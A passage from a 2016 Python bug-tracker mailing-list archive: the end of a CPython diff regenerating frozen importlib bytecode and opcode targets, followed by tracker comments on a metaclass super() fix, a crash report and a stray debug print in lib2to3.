-    0,100,2,60,0,124,4,124,0,100,1,60,0,124,2,124,
-    0,100,4,60,0,124,3,124,0,100,5,60,0,87,0,110,
-    20,4,0,116,5,107,10,114,142,1,0,1,0,1,0,89,
-    0,110,2,88,0,100,0,83,0,41,6,78,218,10,95,95,
-    108,111,97,100,101,114,95,95,218,8,95,95,115,112,101,99,
-    95,95,114,124,0,0,0,90,8,95,95,102,105,108,101,95,
-    95,90,10,95,95,99,97,99,104,101,100,95,95,41,6,218,
-    3,103,101,116,114,124,0,0,0,114,220,0,0,0,114,215,
-    0,0,0,114,165,0,0,0,218,9,69,120,99,101,112,116,
-    105,111,110,41,6,90,2,110,115,114,102,0,0,0,90,8,
-    112,97,116,104,110,97,109,101,90,9,99,112,97,116,104,110,
-    97,109,101,114,124,0,0,0,114,162,0,0,0,114,4,0,
-    0,0,114,4,0,0,0,114,6,0,0,0,218,14,95,102,
-    105,120,95,117,112,95,109,111,100,117,108,101,52,5,0,0,
-    115,34,0,0,0,0,2,10,1,10,1,4,1,4,1,8,
-    1,8,1,12,2,10,1,4,1,16,1,2,1,8,1,8,
-    1,8,1,12,1,14,2,114,23,1,0,0,99,0,0,0,
-    0,0,0,0,0,3,0,0,0,3,0,0,0,67,0,0,
-    0,115,38,0,0,0,116,0,116,1,106,2,131,0,102,2,
-    125,0,116,3,116,4,102,2,125,1,116,5,116,6,102,2,
-    125,2,124,0,124,1,124,2,103,3,83,0,41,1,122,95,
-    82,101,116,117,114,110,115,32,97,32,108,105,115,116,32,111,
-    102,32,102,105,108,101,45,98,97,115,101,100,32,109,111,100,
-    117,108,101,32,108,111,97,100,101,114,115,46,10,10,32,32,
-    32,32,69,97,99,104,32,105,116,101,109,32,105,115,32,97,
-    32,116,117,112,108,101,32,40,108,111,97,100,101,114,44,32,
-    115,117,102,102,105,120,101,115,41,46,10,32,32,32,32,41,
-    7,114,221,0,0,0,114,143,0,0,0,218,18,101,120,116,
-    101,110,115,105,111,110,95,115,117,102,102,105,120,101,115,114,
-    215,0,0,0,114,88,0,0,0,114,220,0,0,0,114,78,
-    0,0,0,41,3,90,10,101,120,116,101,110,115,105,111,110,
-    115,90,6,115,111,117,114,99,101,90,8,98,121,116,101,99,
-    111,100,101,114,4,0,0,0,114,4,0,0,0,114,6,0,
-    0,0,114,159,0,0,0,75,5,0,0,115,8,0,0,0,
-    0,5,12,1,8,1,8,1,114,159,0,0,0,99,1,0,
-    0,0,0,0,0,0,12,0,0,0,12,0,0,0,67,0,
-    0,0,115,188,1,0,0,124,0,97,0,116,0,106,1,97,
-    1,116,0,106,2,97,2,116,1,106,3,116,4,25,0,125,
-    1,120,56,100,26,68,0,93,48,125,2,124,2,116,1,106,
-    3,107,7,114,58,116,0,106,5,124,2,131,1,125,3,110,
-    10,116,1,106,3,124,2,25,0,125,3,116,6,124,1,124,
-    2,124,3,131,3,1,0,113,32,87,0,100,5,100,6,103,
-    1,102,2,100,7,100,8,100,6,103,2,102,2,102,2,125,
-    4,120,118,124,4,68,0,93,102,92,2,125,5,125,6,116,
-    7,100,9,100,10,132,0,124,6,68,0,131,1,131,1,115,
-    142,116,8,130,1,124,6,100,11,25,0,125,7,124,5,116,
-    1,106,3,107,6,114,174,116,1,106,3,124,5,25,0,125,
-    8,80,0,113,112,121,16,116,0,106,5,124,5,131,1,125,
-    8,80,0,87,0,113,112,4,0,116,9,107,10,114,212,1,
-    0,1,0,1,0,119,112,89,0,113,112,88,0,113,112,87,
-    0,116,9,100,12,131,1,130,1,116,6,124,1,100,13,124,
-    8,131,3,1,0,116,6,124,1,100,14,124,7,131,3,1,
-    0,116,6,124,1,100,15,100,16,106,10,124,6,131,1,131,
-    3,1,0,121,14,116,0,106,5,100,17,131,1,125,9,87,
-    0,110,26,4,0,116,9,107,10,144,1,114,52,1,0,1,
-    0,1,0,100,18,125,9,89,0,110,2,88,0,116,6,124,
-    1,100,17,124,9,131,3,1,0,116,0,106,5,100,19,131,
-    1,125,10,116,6,124,1,100,19,124,10,131,3,1,0,124,
-    5,100,7,107,2,144,1,114,120,116,0,106,5,100,20,131,
-    1,125,11,116,6,124,1,100,21,124,11,131,3,1,0,116,
-    6,124,1,100,22,116,11,131,0,131,3,1,0,116,12,106,
-    13,116,2,106,14,131,0,131,1,1,0,124,5,100,7,107,
-    2,144,1,114,184,116,15,106,16,100,23,131,1,1,0,100,
-    24,116,12,107,6,144,1,114,184,100,25,116,17,95,18,100,
-    18,83,0,41,27,122,205,83,101,116,117,112,32,116,104,101,
-    32,112,97,116,104,45,98,97,115,101,100,32,105,109,112,111,
-    114,116,101,114,115,32,102,111,114,32,105,109,112,111,114,116,
-    108,105,98,32,98,121,32,105,109,112,111,114,116,105,110,103,
-    32,110,101,101,100,101,100,10,32,32,32,32,98,117,105,108,
-    116,45,105,110,32,109,111,100,117,108,101,115,32,97,110,100,
-    32,105,110,106,101,99,116,105,110,103,32,116,104,101,109,32,
-    105,110,116,111,32,116,104,101,32,103,108,111,98,97,108,32,
-    110,97,109,101,115,112,97,99,101,46,10,10,32,32,32,32,
-    79,116,104,101,114,32,99,111,109,112,111,110,101,110,116,115,
-    32,97,114,101,32,101,120,116,114,97,99,116,101,100,32,102,
-    114,111,109,32,116,104,101,32,99,111,114,101,32,98,111,111,
-    116,115,116,114,97,112,32,109,111,100,117,108,101,46,10,10,
-    32,32,32,32,114,52,0,0,0,114,63,0,0,0,218,8,
-    98,117,105,108,116,105,110,115,114,140,0,0,0,90,5,112,
-    111,115,105,120,250,1,47,218,2,110,116,250,1,92,99,1,
-    0,0,0,0,0,0,0,2,0,0,0,3,0,0,0,115,
-    0,0,0,115,26,0,0,0,124,0,93,18,125,1,116,0,
-    124,1,131,1,100,0,107,2,86,0,1,0,113,2,100,1,
-    83,0,41,2,114,31,0,0,0,78,41,1,114,33,0,0,
-    0,41,2,114,24,0,0,0,114,81,0,0,0,114,4,0,
-    0,0,114,4,0,0,0,114,6,0,0,0,114,224,0,0,
-    0,111,5,0,0,115,2,0,0,0,4,0,122,25,95,115,
-    101,116,117,112,46,60,108,111,99,97,108,115,62,46,60,103,
-    101,110,101,120,112,114,62,114,62,0,0,0,122,30,105,109,
-    112,111,114,116,108,105,98,32,114,101,113,117,105,114,101,115,
-    32,112,111,115,105,120,32,111,114,32,110,116,114,3,0,0,
-    0,114,27,0,0,0,114,23,0,0,0,114,32,0,0,0,
-    90,7,95,116,104,114,101,97,100,78,90,8,95,119,101,97,
-    107,114,101,102,90,6,119,105,110,114,101,103,114,167,0,0,
-    0,114,7,0,0,0,122,4,46,112,121,119,122,6,95,100,
-    46,112,121,100,84,41,4,122,3,95,105,111,122,9,95,119,
-    97,114,110,105,110,103,115,122,8,98,117,105,108,116,105,110,
-    115,122,7,109,97,114,115,104,97,108,41,19,114,118,0,0,
-    0,114,8,0,0,0,114,143,0,0,0,114,236,0,0,0,
-    114,109,0,0,0,90,18,95,98,117,105,108,116,105,110,95,
-    102,114,111,109,95,110,97,109,101,114,113,0,0,0,218,3,
-    97,108,108,218,14,65,115,115,101,114,116,105,111,110,69,114,
-    114,111,114,114,103,0,0,0,114,28,0,0,0,114,13,0,
-    0,0,114,226,0,0,0,114,147,0,0,0,114,24,1,0,
-    0,114,88,0,0,0,114,161,0,0,0,114,166,0,0,0,
-    114,170,0,0,0,41,12,218,17,95,98,111,111,116,115,116,
-    114,97,112,95,109,111,100,117,108,101,90,11,115,101,108,102,
-    95,109,111,100,117,108,101,90,12,98,117,105,108,116,105,110,
-    95,110,97,109,101,90,14,98,117,105,108,116,105,110,95,109,
-    111,100,117,108,101,90,10,111,115,95,100,101,116,97,105,108,
-    115,90,10,98,117,105,108,116,105,110,95,111,115,114,23,0,
-    0,0,114,27,0,0,0,90,9,111,115,95,109,111,100,117,
-    108,101,90,13,116,104,114,101,97,100,95,109,111,100,117,108,
-    101,90,14,119,101,97,107,114,101,102,95,109,111,100,117,108,
-    101,90,13,119,105,110,114,101,103,95,109,111,100,117,108,101,
-    114,4,0,0,0,114,4,0,0,0,114,6,0,0,0,218,
-    6,95,115,101,116,117,112,86,5,0,0,115,82,0,0,0,
-    0,8,4,1,6,1,6,3,10,1,10,1,10,1,12,2,
-    10,1,16,3,22,1,14,2,22,1,8,1,10,1,10,1,
-    4,2,2,1,10,1,6,1,14,1,12,2,8,1,12,1,
-    12,1,18,3,2,1,14,1,16,2,10,1,12,3,10,1,
-    12,3,10,1,10,1,12,3,14,1,14,1,10,1,10,1,
-    10,1,114,32,1,0,0,99,1,0,0,0,0,0,0,0,
-    2,0,0,0,3,0,0,0,67,0,0,0,115,84,0,0,
-    0,116,0,124,0,131,1,1,0,116,1,131,0,125,1,116,
-    2,106,3,106,4,116,5,106,6,124,1,140,0,103,1,131,
-    1,1,0,116,7,106,8,100,1,107,2,114,56,116,2,106,
-    9,106,10,116,11,131,1,1,0,116,2,106,9,106,10,116,
-    12,131,1,1,0,116,5,124,0,95,5,116,13,124,0,95,
-    13,100,2,83,0,41,3,122,41,73,110,115,116,97,108,108,
-    32,116,104,101,32,112,97,116,104,45,98,97,115,101,100,32,
-    105,109,112,111,114,116,32,99,111,109,112,111,110,101,110,116,
-    115,46,114,27,1,0,0,78,41,14,114,32,1,0,0,114,
-    159,0,0,0,114,8,0,0,0,114,253,0,0,0,114,147,
-    0,0,0,114,5,1,0,0,114,18,1,0,0,114,3,0,
-    0,0,114,109,0,0,0,218,9,109,101,116,97,95,112,97,
-    116,104,114,161,0,0,0,114,166,0,0,0,114,248,0,0,
-    0,114,215,0,0,0,41,2,114,31,1,0,0,90,17,115,
-    117,112,112,111,114,116,101,100,95,108,111,97,100,101,114,115,
-    114,4,0,0,0,114,4,0,0,0,114,6,0,0,0,218,
-    8,95,105,110,115,116,97,108,108,154,5,0,0,115,16,0,
-    0,0,0,2,8,1,6,1,20,1,10,1,12,1,12,4,
-    6,1,114,34,1,0,0,41,1,122,3,119,105,110,41,2,
-    114,1,0,0,0,114,2,0,0,0,41,1,114,49,0,0,
-    0,41,1,78,41,3,78,78,78,41,3,78,78,78,41,2,
-    114,62,0,0,0,114,62,0,0,0,41,1,78,41,1,78,
-    41,58,114,111,0,0,0,114,12,0,0,0,90,37,95,67,
-    65,83,69,95,73,78,83,69,78,83,73,84,73,86,69,95,
-    80,76,65,84,70,79,82,77,83,95,66,89,84,69,83,95,
-    75,69,89,114,11,0,0,0,114,13,0,0,0,114,19,0,
-    0,0,114,21,0,0,0,114,30,0,0,0,114,40,0,0,
-    0,114,41,0,0,0,114,45,0,0,0,114,46,0,0,0,
-    114,48,0,0,0,114,58,0,0,0,218,4,116,121,112,101,
-    218,8,95,95,99,111,100,101,95,95,114,142,0,0,0,114,
-    17,0,0,0,114,132,0,0,0,114,16,0,0,0,114,20,
-    0,0,0,90,17,95,82,65,87,95,77,65,71,73,67,95,
-    78,85,77,66,69,82,114,77,0,0,0,114,76,0,0,0,
-    114,88,0,0,0,114,78,0,0,0,90,23,68,69,66,85,
-    71,95,66,89,84,69,67,79,68,69,95,83,85,70,70,73,
-    88,69,83,90,27,79,80,84,73,77,73,90,69,68,95,66,
-    89,84,69,67,79,68,69,95,83,85,70,70,73,88,69,83,
-    114,83,0,0,0,114,89,0,0,0,114,95,0,0,0,114,
-    99,0,0,0,114,101,0,0,0,114,120,0,0,0,114,127,
-    0,0,0,114,139,0,0,0,114,145,0,0,0,114,148,0,
-    0,0,114,153,0,0,0,218,6,111,98,106,101,99,116,114,
-    160,0,0,0,114,165,0,0,0,114,166,0,0,0,114,181,
-    0,0,0,114,191,0,0,0,114,207,0,0,0,114,215,0,
-    0,0,114,220,0,0,0,114,226,0,0,0,114,221,0,0,
-    0,114,227,0,0,0,114,246,0,0,0,114,248,0,0,0,
-    114,5,1,0,0,114,23,1,0,0,114,159,0,0,0,114,
-    32,1,0,0,114,34,1,0,0,114,4,0,0,0,114,4,
-    0,0,0,114,4,0,0,0,114,6,0,0,0,218,8,60,
-    109,111,100,117,108,101,62,8,0,0,0,115,108,0,0,0,
-    4,16,4,1,4,1,2,1,6,3,8,17,8,5,8,5,
-    8,6,8,12,8,10,8,9,8,5,8,7,10,22,10,119,
-    16,1,12,2,4,1,4,2,6,2,6,2,8,2,16,45,
-    8,34,8,19,8,12,8,12,8,28,8,17,10,55,10,12,
-    10,10,8,14,6,3,4,1,14,67,14,64,14,29,16,110,
-    14,41,18,45,18,16,4,3,18,53,14,60,14,42,14,127,
-    0,5,14,127,0,22,10,23,8,11,8,68,
+    0,114,243,0,0,0,47,5,0,0,115,2,0,0,0,0,
+    1,122,19,70,105,108,101,70,105,110,100,101,114,46,95,95,
+    114,101,112,114,95,95,41,1,78,41,15,114,109,0,0,0,
+    114,108,0,0,0,114,110,0,0,0,114,111,0,0,0,114,
+    182,0,0,0,114,249,0,0,0,114,127,0,0,0,114,179,
+    0,0,0,114,121,0,0,0,114,4,1,0,0,114,178,0,
+    0,0,114,12,1,0,0,114,180,0,0,0,114,18,1,0,
+    0,114,243,0,0,0,114,4,0,0,0,114,4,0,0,0,
+    114,4,0,0,0,114,6,0,0,0,114,5,1,0,0,160,
+    4,0,0,115,20,0,0,0,8,7,4,2,8,14,8,4,
+    4,2,8,12,8,5,10,48,8,31,12,18,114,5,1,0,
+    0,99,4,0,0,0,0,0,0,0,6,0,0,0,11,0,
+    0,0,67,0,0,0,115,146,0,0,0,124,0,106,0,100,
+    1,131,1,125,4,124,0,106,0,100,2,131,1,125,5,124,
+    4,115,66,124,5,114,36,124,5,106,1,125,4,110,30,124,
+    2,124,3,107,2,114,56,116,2,124,1,124,2,131,2,125,
+    4,110,10,116,3,124,1,124,2,131,2,125,4,124,5,115,
+    84,116,4,124,1,124,2,124,4,100,3,141,3,125,5,121,
+    36,124,5,124,0,100,2,60,0,124,4,124,0,100,1,60,
+    0,124,2,124,0,100,4,60,0,124,3,124,0,100,5,60,
+    0,87,0,110,20,4,0,116,5,107,10,114,140,1,0,1,
+    0,1,0,89,0,110,2,88,0,100,0,83,0,41,6,78,
+    218,10,95,95,108,111,97,100,101,114,95,95,218,8,95,95,
+    115,112,101,99,95,95,41,1,114,124,0,0,0,90,8,95,
+    95,102,105,108,101,95,95,90,10,95,95,99,97,99,104,101,
+    100,95,95,41,6,218,3,103,101,116,114,124,0,0,0,114,
+    220,0,0,0,114,215,0,0,0,114,165,0,0,0,218,9,
+    69,120,99,101,112,116,105,111,110,41,6,90,2,110,115,114,
+    102,0,0,0,90,8,112,97,116,104,110,97,109,101,90,9,
+    99,112,97,116,104,110,97,109,101,114,124,0,0,0,114,162,
+    0,0,0,114,4,0,0,0,114,4,0,0,0,114,6,0,
+    0,0,218,14,95,102,105,120,95,117,112,95,109,111,100,117,
+    108,101,53,5,0,0,115,34,0,0,0,0,2,10,1,10,
+    1,4,1,4,1,8,1,8,1,12,2,10,1,4,1,14,
+    1,2,1,8,1,8,1,8,1,12,1,14,2,114,23,1,
+    0,0,99,0,0,0,0,0,0,0,0,3,0,0,0,3,
+    0,0,0,67,0,0,0,115,38,0,0,0,116,0,116,1,
+    106,2,131,0,102,2,125,0,116,3,116,4,102,2,125,1,
+    116,5,116,6,102,2,125,2,124,0,124,1,124,2,103,3,
+    83,0,41,1,122,95,82,101,116,117,114,110,115,32,97,32,
+    108,105,115,116,32,111,102,32,102,105,108,101,45,98,97,115,
+    101,100,32,109,111,100,117,108,101,32,108,111,97,100,101,114,
+    115,46,10,10,32,32,32,32,69,97,99,104,32,105,116,101,
+    109,32,105,115,32,97,32,116,117,112,108,101,32,40,108,111,
+    97,100,101,114,44,32,115,117,102,102,105,120,101,115,41,46,
+    10,32,32,32,32,41,7,114,221,0,0,0,114,143,0,0,
+    0,218,18,101,120,116,101,110,115,105,111,110,95,115,117,102,
+    102,105,120,101,115,114,215,0,0,0,114,88,0,0,0,114,
+    220,0,0,0,114,78,0,0,0,41,3,90,10,101,120,116,
+    101,110,115,105,111,110,115,90,6,115,111,117,114,99,101,90,
+    8,98,121,116,101,99,111,100,101,114,4,0,0,0,114,4,
+    0,0,0,114,6,0,0,0,114,159,0,0,0,76,5,0,
+    0,115,8,0,0,0,0,5,12,1,8,1,8,1,114,159,
+    0,0,0,99,1,0,0,0,0,0,0,0,12,0,0,0,
+    12,0,0,0,67,0,0,0,115,188,1,0,0,124,0,97,
+    0,116,0,106,1,97,1,116,0,106,2,97,2,116,1,106,
+    3,116,4,25,0,125,1,120,56,100,26,68,0,93,48,125,
+    2,124,2,116,1,106,3,107,7,114,58,116,0,106,5,124,
+    2,131,1,125,3,110,10,116,1,106,3,124,2,25,0,125,
+    3,116,6,124,1,124,2,124,3,131,3,1,0,113,32,87,
+    0,100,5,100,6,103,1,102,2,100,7,100,8,100,6,103,
+    2,102,2,102,2,125,4,120,118,124,4,68,0,93,102,92,
+    2,125,5,125,6,116,7,100,9,100,10,132,0,124,6,68,
+    0,131,1,131,1,115,142,116,8,130,1,124,6,100,11,25,
+    0,125,7,124,5,116,1,106,3,107,6,114,174,116,1,106,
+    3,124,5,25,0,125,8,80,0,113,112,121,16,116,0,106,
+    5,124,5,131,1,125,8,80,0,87,0,113,112,4,0,116,
+    9,107,10,114,212,1,0,1,0,1,0,119,112,89,0,113,
+    112,88,0,113,112,87,0,116,9,100,12,131,1,130,1,116,
+    6,124,1,100,13,124,8,131,3,1,0,116,6,124,1,100,
+    14,124,7,131,3,1,0,116,6,124,1,100,15,100,16,106,
+    10,124,6,131,1,131,3,1,0,121,14,116,0,106,5,100,
+    17,131,1,125,9,87,0,110,26,4,0,116,9,107,10,144,
+    1,114,52,1,0,1,0,1,0,100,18,125,9,89,0,110,
+    2,88,0,116,6,124,1,100,17,124,9,131,3,1,0,116,
+    0,106,5,100,19,131,1,125,10,116,6,124,1,100,19,124,
+    10,131,3,1,0,124,5,100,7,107,2,144,1,114,120,116,
+    0,106,5,100,20,131,1,125,11,116,6,124,1,100,21,124,
+    11,131,3,1,0,116,6,124,1,100,22,116,11,131,0,131,
+    3,1,0,116,12,106,13,116,2,106,14,131,0,131,1,1,
+    0,124,5,100,7,107,2,144,1,114,184,116,15,106,16,100,
+    23,131,1,1,0,100,24,116,12,107,6,144,1,114,184,100,
+    25,116,17,95,18,100,18,83,0,41,27,122,205,83,101,116,
+    117,112,32,116,104,101,32,112,97,116,104,45,98,97,115,101,
+    100,32,105,109,112,111,114,116,101,114,115,32,102,111,114,32,
+    105,109,112,111,114,116,108,105,98,32,98,121,32,105,109,112,
+    111,114,116,105,110,103,32,110,101,101,100,101,100,10,32,32,
+    32,32,98,117,105,108,116,45,105,110,32,109,111,100,117,108,
+    101,115,32,97,110,100,32,105,110,106,101,99,116,105,110,103,
+    32,116,104,101,109,32,105,110,116,111,32,116,104,101,32,103,
+    108,111,98,97,108,32,110,97,109,101,115,112,97,99,101,46,
+    10,10,32,32,32,32,79,116,104,101,114,32,99,111,109,112,
+    111,110,101,110,116,115,32,97,114,101,32,101,120,116,114,97,
+    99,116,101,100,32,102,114,111,109,32,116,104,101,32,99,111,
+    114,101,32,98,111,111,116,115,116,114,97,112,32,109,111,100,
+    117,108,101,46,10,10,32,32,32,32,114,52,0,0,0,114,
+    63,0,0,0,218,8,98,117,105,108,116,105,110,115,114,140,
+    0,0,0,90,5,112,111,115,105,120,250,1,47,218,2,110,
+    116,250,1,92,99,1,0,0,0,0,0,0,0,2,0,0,
+    0,3,0,0,0,115,0,0,0,115,26,0,0,0,124,0,
+    93,18,125,1,116,0,124,1,131,1,100,0,107,2,86,0,
+    1,0,113,2,100,1,83,0,41,2,114,31,0,0,0,78,
+    41,1,114,33,0,0,0,41,2,114,24,0,0,0,114,81,
+    0,0,0,114,4,0,0,0,114,4,0,0,0,114,6,0,
+    0,0,114,224,0,0,0,112,5,0,0,115,2,0,0,0,
+    4,0,122,25,95,115,101,116,117,112,46,60,108,111,99,97,
+    108,115,62,46,60,103,101,110,101,120,112,114,62,114,62,0,
+    0,0,122,30,105,109,112,111,114,116,108,105,98,32,114,101,
+    113,117,105,114,101,115,32,112,111,115,105,120,32,111,114,32,
+    110,116,114,3,0,0,0,114,27,0,0,0,114,23,0,0,
+    0,114,32,0,0,0,90,7,95,116,104,114,101,97,100,78,
+    90,8,95,119,101,97,107,114,101,102,90,6,119,105,110,114,
+    101,103,114,167,0,0,0,114,7,0,0,0,122,4,46,112,
+    121,119,122,6,95,100,46,112,121,100,84,41,4,122,3,95,
+    105,111,122,9,95,119,97,114,110,105,110,103,115,122,8,98,
+    117,105,108,116,105,110,115,122,7,109,97,114,115,104,97,108,
+    41,19,114,118,0,0,0,114,8,0,0,0,114,143,0,0,
+    0,114,236,0,0,0,114,109,0,0,0,90,18,95,98,117,
+    105,108,116,105,110,95,102,114,111,109,95,110,97,109,101,114,
+    113,0,0,0,218,3,97,108,108,218,14,65,115,115,101,114,
+    116,105,111,110,69,114,114,111,114,114,103,0,0,0,114,28,
+    0,0,0,114,13,0,0,0,114,226,0,0,0,114,147,0,
+    0,0,114,24,1,0,0,114,88,0,0,0,114,161,0,0,
+    0,114,166,0,0,0,114,170,0,0,0,41,12,218,17,95,
+    98,111,111,116,115,116,114,97,112,95,109,111,100,117,108,101,
+    90,11,115,101,108,102,95,109,111,100,117,108,101,90,12,98,
+    117,105,108,116,105,110,95,110,97,109,101,90,14,98,117,105,
+    108,116,105,110,95,109,111,100,117,108,101,90,10,111,115,95,
+    100,101,116,97,105,108,115,90,10,98,117,105,108,116,105,110,
+    95,111,115,114,23,0,0,0,114,27,0,0,0,90,9,111,
+    115,95,109,111,100,117,108,101,90,13,116,104,114,101,97,100,
+    95,109,111,100,117,108,101,90,14,119,101,97,107,114,101,102,
+    95,109,111,100,117,108,101,90,13,119,105,110,114,101,103,95,
+    109,111,100,117,108,101,114,4,0,0,0,114,4,0,0,0,
+    114,6,0,0,0,218,6,95,115,101,116,117,112,87,5,0,
+    0,115,82,0,0,0,0,8,4,1,6,1,6,3,10,1,
+    10,1,10,1,12,2,10,1,16,3,22,1,14,2,22,1,
+    8,1,10,1,10,1,4,2,2,1,10,1,6,1,14,1,
+    12,2,8,1,12,1,12,1,18,3,2,1,14,1,16,2,
+    10,1,12,3,10,1,12,3,10,1,10,1,12,3,14,1,
+    14,1,10,1,10,1,10,1,114,32,1,0,0,99,1,0,
+    0,0,0,0,0,0,2,0,0,0,3,0,0,0,67,0,
+    0,0,115,84,0,0,0,116,0,124,0,131,1,1,0,116,
+    1,131,0,125,1,116,2,106,3,106,4,116,5,106,6,124,
+    1,142,0,103,1,131,1,1,0,116,7,106,8,100,1,107,
+    2,114,56,116,2,106,9,106,10,116,11,131,1,1,0,116,
+    2,106,9,106,10,116,12,131,1,1,0,116,5,124,0,95,
+    5,116,13,124,0,95,13,100,2,83,0,41,3,122,41,73,
+    110,115,116,97,108,108,32,116,104,101,32,112,97,116,104,45,
+    98,97,115,101,100,32,105,109,112,111,114,116,32,99,111,109,
+    112,111,110,101,110,116,115,46,114,27,1,0,0,78,41,14,
+    114,32,1,0,0,114,159,0,0,0,114,8,0,0,0,114,
+    253,0,0,0,114,147,0,0,0,114,5,1,0,0,114,18,
+    1,0,0,114,3,0,0,0,114,109,0,0,0,218,9,109,
+    101,116,97,95,112,97,116,104,114,161,0,0,0,114,166,0,
+    0,0,114,248,0,0,0,114,215,0,0,0,41,2,114,31,
+    1,0,0,90,17,115,117,112,112,111,114,116,101,100,95,108,
+    111,97,100,101,114,115,114,4,0,0,0,114,4,0,0,0,
+    114,6,0,0,0,218,8,95,105,110,115,116,97,108,108,155,
+    5,0,0,115,16,0,0,0,0,2,8,1,6,1,20,1,
+    10,1,12,1,12,4,6,1,114,34,1,0,0,41,1,122,
+    3,119,105,110,41,2,114,1,0,0,0,114,2,0,0,0,
+    41,1,114,49,0,0,0,41,1,78,41,3,78,78,78,41,
+    3,78,78,78,41,2,114,62,0,0,0,114,62,0,0,0,
+    41,1,78,41,1,78,41,58,114,111,0,0,0,114,12,0,
+    0,0,90,37,95,67,65,83,69,95,73,78,83,69,78,83,
+    73,84,73,86,69,95,80,76,65,84,70,79,82,77,83,95,
+    66,89,84,69,83,95,75,69,89,114,11,0,0,0,114,13,
+    0,0,0,114,19,0,0,0,114,21,0,0,0,114,30,0,
+    0,0,114,40,0,0,0,114,41,0,0,0,114,45,0,0,
+    0,114,46,0,0,0,114,48,0,0,0,114,58,0,0,0,
+    218,4,116,121,112,101,218,8,95,95,99,111,100,101,95,95,
+    114,142,0,0,0,114,17,0,0,0,114,132,0,0,0,114,
+    16,0,0,0,114,20,0,0,0,90,17,95,82,65,87,95,
+    77,65,71,73,67,95,78,85,77,66,69,82,114,77,0,0,
+    0,114,76,0,0,0,114,88,0,0,0,114,78,0,0,0,
+    90,23,68,69,66,85,71,95,66,89,84,69,67,79,68,69,
+    95,83,85,70,70,73,88,69,83,90,27,79,80,84,73,77,
+    73,90,69,68,95,66,89,84,69,67,79,68,69,95,83,85,
+    70,70,73,88,69,83,114,83,0,0,0,114,89,0,0,0,
+    114,95,0,0,0,114,99,0,0,0,114,101,0,0,0,114,
+    120,0,0,0,114,127,0,0,0,114,139,0,0,0,114,145,
+    0,0,0,114,148,0,0,0,114,153,0,0,0,218,6,111,
+    98,106,101,99,116,114,160,0,0,0,114,165,0,0,0,114,
+    166,0,0,0,114,181,0,0,0,114,191,0,0,0,114,207,
+    0,0,0,114,215,0,0,0,114,220,0,0,0,114,226,0,
+    0,0,114,221,0,0,0,114,227,0,0,0,114,246,0,0,
+    0,114,248,0,0,0,114,5,1,0,0,114,23,1,0,0,
+    114,159,0,0,0,114,32,1,0,0,114,34,1,0,0,114,
+    4,0,0,0,114,4,0,0,0,114,4,0,0,0,114,6,
+    0,0,0,218,8,60,109,111,100,117,108,101,62,8,0,0,
+    0,115,108,0,0,0,4,16,4,1,4,1,2,1,6,3,
+    8,17,8,5,8,5,8,6,8,12,8,10,8,9,8,5,
+    8,7,10,22,10,120,16,1,12,2,4,1,4,2,6,2,
+    6,2,8,2,16,45,8,34,8,19,8,12,8,12,8,28,
+    8,17,10,55,10,12,10,10,8,14,6,3,4,1,14,67,
+    14,64,14,29,16,110,14,41,18,45,18,16,4,3,18,53,
+    14,60,14,42,14,127,0,5,14,127,0,22,10,23,8,11,
+    8,68,
 };
diff -r 98a57845c8cc Python/opcode_targets.h
--- a/Python/opcode_targets.h	Fri Sep 09 07:38:50 2016 +0000
+++ b/Python/opcode_targets.h	Fri Sep 09 22:43:11 2016 +0300
@@ -139,9 +139,9 @@ static void *opcode_targets[256] = {
     &&TARGET_STORE_DEREF,
     &&TARGET_DELETE_DEREF,
     &&_unknown_opcode,
-    &&TARGET_CALL_FUNCTION_VAR,
+    &&_unknown_opcode,
     &&TARGET_CALL_FUNCTION_KW,
-    &&TARGET_CALL_FUNCTION_VAR_KW,
+    &&TARGET_CALL_FUNCTION_EX,
     &&TARGET_SETUP_WITH,
     &&TARGET_EXTENDED_ARG,
     &&TARGET_LIST_APPEND,

From report at bugs.python.org  Sat Sep 10 12:42:22 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sat, 10 Sep 2016 16:42:22 +0000
Subject: [issue23722] During metaclass.__init__,
 super() of the constructed class does not work
In-Reply-To: <1473504821.18.0.130119082848.issue23722@psf.upfronthosting.co.za>
Message-ID: <CAP7+vJ+QXE1_rL4+k5msRszVEUq+Cdny3+dZhH5Zn=HkuKTBDQ@mail.gmail.com>


Guido van Rossum added the comment:

> That aspect of the change is clearly a bug fix

I am happy to *rule* that we can treat it as a bugfix, but I disagree
that it's *clearly* a bugfix. It's definitely debatable. This area of
the language is so obscure and so few people remember why it was done
the way that it's done that I expect that someone out there will be
unhappy about the change. But... change happens, so it's okay.

(Please don't respond arguing the "clearly" part, just go ahead and do it. :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23722>
_______________________________________

From report at bugs.python.org  Sat Sep 10 12:42:42 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 10 Sep 2016 16:42:42 +0000
Subject: [issue28061] Python crashes on 'from test import support'
In-Reply-To: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>
Message-ID: <1473525762.61.0.562045628736.issue28061@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> VS breaks at line Objects/dictobject.c:2339 - '        if (mp->ma_keys->dk_usable * 3 < other->ma_used * 2)'

Can you elaborate? Does the compilation fail? Did you get a crash? What was you doing while getting this error/message?

... Can you please give clues how to reproduce the issue?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Sat Sep 10 12:44:22 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sat, 10 Sep 2016 16:44:22 +0000
Subject: [issue25969] Update lib2to3 grammar to include missing unpacking
 generalizations.
In-Reply-To: <1451340978.99.0.13064674256.issue25969@psf.upfronthosting.co.za>
Message-ID: <1473525862.84.0.149883398847.issue25969@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Gregory, the change adds a print in: https://hg.python.org/cpython/file/tip/Lib/lib2to3/fixes/fix_reload.py#l29

./python -m test test_lib2to3
Run tests sequentially
0:00:00 [1/1] test_lib2to3
obj: Leaf(1, 'a')
obj: Leaf(1, 'a')
obj: Leaf(1, 'a')
obj: Leaf(1, 'a')
obj: Leaf(1, 'a')
obj: Leaf(1, 'a')
obj: Node(star_expr, [Leaf(16, '*'), Leaf(1, 'h')])
obj: Node(argument, [Leaf(36, '**'), Leaf(1, 'i')])
1 test OK.

Total duration: 12 sec
Tests result: SUCCESS

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25969>
_______________________________________

From report at bugs.python.org  Sat Sep 10 12:46:50 2016
